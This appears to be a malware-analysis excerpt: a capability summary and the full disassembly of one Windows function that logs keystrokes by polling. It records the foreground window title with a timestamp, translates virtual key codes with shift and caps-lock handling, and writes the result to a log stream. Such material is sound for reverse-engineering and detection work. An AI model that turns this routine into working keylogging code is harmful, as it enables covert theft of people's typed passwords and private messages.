Function at 0x1400017f3
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x398
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x330], ecx
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400be780
cmp dword [rbp + 0x330], 1
je 0x14000182b
cmp dword [rbp + 0x330], 2
jne 0x140001835
mov ebx, 0
jmp 0x140001f22
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x2f8], rax
mov qword [rbp + 0x308], 0
cmp qword [rbp + 0x2f8], 0
je 0x140001890
mov rax, qword [rbp + 0x2f8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov dword [rbp + 0x2f4], eax
mov eax, dword [rbp + 0x2f4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x2f8], 0
je 0x140001994
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x2f8]
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [rbp + 0x10]
lea rdx, [0x14010d2c0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001994
lea rax, [rbp + 0x10]
mov r8, rax
mov edx, 0x100
lea rax, [0x14010d2c0]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call rax
mov ecx, 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0x118]
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.api_ms_win_crt_time_l1_1_0.dll__localtime64_s
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x30]
mov r9, rdx
lea r8, [0x1400d908c]
mov edx, 0x40
mov rcx, rax
call sym.strftime
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._n_n_Window:
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x10]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, str.___at
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [0x1400d90a2]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [rbp + 0x2f0], 0
cmp dword [rbp + 0x2f0], 0xa
je 0x1400019b5
cmp dword [rbp + 0x2f0], 0x10
je 0x1400019ef
jmp 0x140001a3d
lea rax, [rbp + 0x120]
add rax, 0x10
mov edx, 0x5b
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
mov rcx, rax
mov eax, dword [rbp + 0x330]
mov edx, eax
call method.std::ostream.operator___int_
mov edx, 0x5d
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
jmp 0x140001e92
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rcx, rax
lea rax, [0x1400d90a5]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x330]
mov edx, eax
call method.std::ostream.operator___int_
mov edx, 0x5d
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
jmp 0x140001e92
cmp dword [rbp + 0x330], 8
jne 0x140001a65
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._BACKSPACE_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0xd
jne 0x140001a8d
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, [0x1400d90b5]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x20
jne 0x140001ab5
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, [0x1400d90b7]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 9
jne 0x140001add
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._TAB_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x10
je 0x140001afe
cmp dword [rbp + 0x330], 0xa0
je 0x140001afe
cmp dword [rbp + 0x330], 0xa1
jne 0x140001b1d
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._SHIFT_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x11
je 0x140001b3e
cmp dword [rbp + 0x330], 0xa2
je 0x140001b3e
cmp dword [rbp + 0x330], 0xa3
jne 0x140001b5d
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._CONTROL_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x12
jne 0x140001b85
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._ALT_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x5b
je 0x140001b97
cmp dword [rbp + 0x330], 0x5c
jne 0x140001bb6
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._WIN_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x1b
jne 0x140001bde
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._ESCAPE_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x23
jne 0x140001c06
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._END_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x24
jne 0x140001c2e
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._HOME_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x25
jne 0x140001c56
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._LEFT_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x26
jne 0x140001c7e
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._UP_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x27
jne 0x140001ca6
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._RIGHT_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x28
jne 0x140001cce
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._DOWN_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x21
jne 0x140001cf6
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._PG_UP_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x22
jne 0x140001d1e
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._PG_DOWN_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0xbe
je 0x140001d33
cmp dword [rbp + 0x330], 0x6e
jne 0x140001d52
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, [0x1400d9120]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0xbd
je 0x140001d67
cmp dword [rbp + 0x330], 0x6d
jne 0x140001d86
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, [0x1400d9122]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
cmp dword [rbp + 0x330], 0x14
jne 0x140001dae
lea rax, [rbp + 0x120]
add rax, 0x10
lea rdx, str._CAPSLOCK_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001e91
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
mov byte [rbp + 0x306], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x140001e13
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x140001e13
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
je 0x140001e1a
mov eax, 1
jmp 0x140001e1f
mov eax, 0
test al, al
je 0x140001e2a
xor byte [rbp + 0x306], 1
mov eax, dword [rbp + 0x330]
mov rdx, qword [rbp + 0x308]
mov r8, rdx
mov edx, 2
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyExA]
call rax
mov byte [rbp + 0x307], al
movzx eax, byte [rbp + 0x306]
xor eax, 1
test al, al
je 0x140001e76
movsx eax, byte [rbp + 0x307]
mov ecx, eax
mov rax, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
call rax
mov byte [rbp + 0x307], al
movsx eax, byte [rbp + 0x307]
lea rdx, [rbp + 0x120]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
jmp 0x140001e91
nop
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x2b0]
mov rdx, rax
lea rax, [0x14010d0e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [0x14010d0e0]
mov rcx, rax
call method.std::ostream.flush__
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x2d0]
mov rdx, rax
mov rax, qword [0x1400df1d0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400bf270
mov eax, ebx
jmp 0x140001f7a
add rsp, 0x398
pop rbx
pop rbp
ret